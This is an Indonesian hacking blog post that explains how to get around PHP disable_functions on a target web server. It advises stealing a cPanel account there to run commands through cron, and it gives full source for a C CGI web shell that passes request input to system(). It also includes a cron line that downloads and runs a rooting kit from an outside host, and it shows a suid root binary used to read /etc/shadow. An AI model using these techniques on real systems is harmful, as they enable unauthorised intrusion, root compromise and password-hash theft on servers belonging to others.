bypass disable function, disable cgi python, cgi perl di target dg cgi
bin
by: Viscount
yup kali ini akan kita mainkan salah satu dari permainan rahasia yang
paling mudah (teknik ini hanya utk pemula yg baru belajar membypass)
yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya
yg bisa dipakai si attacker untuk membypass).
misal pada target terdapat disable function php berikut ini:
disable_functions:
ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam
lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin
tapi sayangnya setelah diupload crut:
===
Internal Server Error
The server encountered an internal error or misconfiguration and was
unable to complete your request.
Please contact the server administrator, webmaster@adhdsociety.com and
inform them of the time the error occurred, and anything you might have
done that may have caused the error.
More information about this error may be available in the server error
log.
Additionally, a 404 Not Found error was encountered while trying to use
an ErrorDocument to handle the request.
=====
karena masalah path atau krn perl atau python pantang kita exec
(permission denied bo)
untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di
server itu lalu setelah masuk ke cpanel
liat di bag biasanya ada cron, dari situ kita bisa pakai untuk
menjalankan perintah shell:
selanjutnya bikin cron baru, pilih common setting, pilih every minute:
misal perintahnya: id > id.txt
selanjutnya jika berhasil maka kita bisa melihat hasil jalanya perintah
di file id.txt tadi yang akan tersimpan di
/home/usercpanelyangkitaboboltadi hasil perintah akan bisa kita lihat
1 menit kemudian
misal kita liat hasil pocnya seperti di bawah ini:
nah karena teknik di atas akan berjalan sangat lama krn harus menunggu
cron permenit kita akan gali lagi lebih dalam.
banyak teknik yang bisa dipakai. misal dg cgi shell dari c :
=====
/**
CGI Shell in C
made by : ev1lut10n
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void kotak_cmd()
{
printf("%s","<br><form action=?");
printf("%s","method=get>");
printf("%s","shell command : <input type=text");
printf("%s"," name=cmd>");
printf("%s","<input type=submit");
printf("%s"," value=execute>");
printf("%s","</form>");
}
static void set_heder()
{
printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10);
}
char *replace(char *st, char *orig, char *repl) {
static char buffer[4096];
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buffer, st, ch-st);
buffer[ch-st] = 0;
sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));
return buffer;
}
int main(void)
{
char *data;
char cmd[100];
char perintah[256]="";
set_heder();
kotak_cmd();
data = getenv("QUERY_STRING");
sscanf(data,"cmd=%s",cmd);
printf("\ncmd: |%s|\n",cmd);
strcat(perintah,cmd);
printf("\nperintah: |%s|\n",perintah);
system(perintah);
return 0;
}
compile: gcc -o cgi cgi.c
untuk rooting bisa menggunakan botnet (yang belum jadi dibuat sih)
==============
utk rooting, misal di cron tadi kita isikan perintah:
============================
wget http://testsite.swcteam.com/libraries/rooting.tgz;tar zxvf rooting.tgz;cd rooting;perl backup.pl
============================
jika berhasil melakukan root maka dalam beberapa menit kemudian file suid di direktori backups menjadi suid root
====
ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ls -l suid
-rwsr-xr-x 1 root ev1lut10n 7292 2012-02-16 05:39 suid
=====
di mana kita bisa mengeksekusi perintah root:
misal:
====
ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ./suid id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout)
===
utk perintah dg lebih dari 1 argumen:
=======
echo 'cat /etc/shadow'> cmd;./suid ./cmd
======
0 comments:
Post a Comment